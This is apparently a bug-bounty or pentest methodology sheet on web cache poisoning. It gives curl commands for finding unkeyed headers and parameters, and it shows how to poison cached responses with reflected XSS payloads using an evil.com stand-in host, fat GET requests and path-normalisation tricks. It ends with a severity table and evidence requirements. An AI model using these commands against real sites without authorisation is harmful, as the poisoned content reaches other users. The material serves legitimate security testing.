Web Cache Poisoning

Objective

Inject malicious content into cached responses via unkeyed inputs (headers, parameters) so that subsequent users receive the poisoned response.

Testing Methodology

Phase 1: Identify Cache Behavior

# Check cache headers
curl -s -D- https://TARGET/ | grep -i "x-cache\|age\|cache-control\|cf-cache\|x-varnish"

# Identify cache key components (vary header)
curl -s -D- https://TARGET/ | grep -i "vary"

Phase 2: Find Unkeyed Inputs

Test headers that are reflected in response but NOT part of cache key:

# X-Forwarded-Host
curl -s https://TARGET/ -H "X-Forwarded-Host: evil.com" | grep "evil.com"

# X-Forwarded-Scheme
curl -s https://TARGET/ -H "X-Forwarded-Scheme: nothttps" | grep "redirect"

# X-Original-URL / X-Rewrite-URL
curl -s https://TARGET/ -H "X-Original-URL: /admin"

# Custom headers
curl -s https://TARGET/ -H "X-Forwarded-Port: 1234"

Phase 3: Cache Poisoning via Unkeyed Header

# Poison with XSS payload
curl -s https://TARGET/ \
  -H "X-Forwarded-Host: evil.com\"><script>alert(1)</script>"

# Wait for cache to store, then verify
curl -s https://TARGET/ | grep "alert(1)"

Phase 4: Unkeyed Parameter Poisoning

# Find parameters not in cache key
curl -s "https://TARGET/?cb=123" -D- | grep "x-cache"
curl -s "https://TARGET/?utm_source=evil" | grep "evil"

# Reflected unkeyed parameter → stored XSS
curl -s "https://TARGET/?evil=<script>alert(1)</script>"

Phase 5: Fat GET / POST-based Poisoning

# Fat GET — body in GET request
curl -s https://TARGET/ -X GET -d "param=<script>alert(1)</script>"

# POST → GET cache confusion
curl -s https://TARGET/ -X POST \
  -H "X-HTTP-Method-Override: GET" \
  -d "param=evil"

Phase 6: Cache Key Normalization

# Path normalization differences
curl -s "https://TARGET/path/../admin"
curl -s "https://TARGET/PATH" vs "https://TARGET/path"
curl -s "https://TARGET/path;.js"

What Constitutes a Finding

Finding	Severity
Cached XSS payload served to other users	Critical (P1)
Cached redirect to attacker domain	High (P2)
Denial of service via cache poisoning (error page cached)	Medium (P3)
Unkeyed header reflected (no cache impact proven)	Low (P4)

Evidence Requirements

• Unkeyed input identified (header or parameter)
• Response showing injected content
• Cache headers proving response was cached (X-Cache: HIT, Age > 0)
• Second request (clean) still receiving poisoned content
• Impact: XSS, redirect, or DoS

References

• PortSwigger: Web Cache Poisoning
• James Kettle: Practical Web Cache Poisoning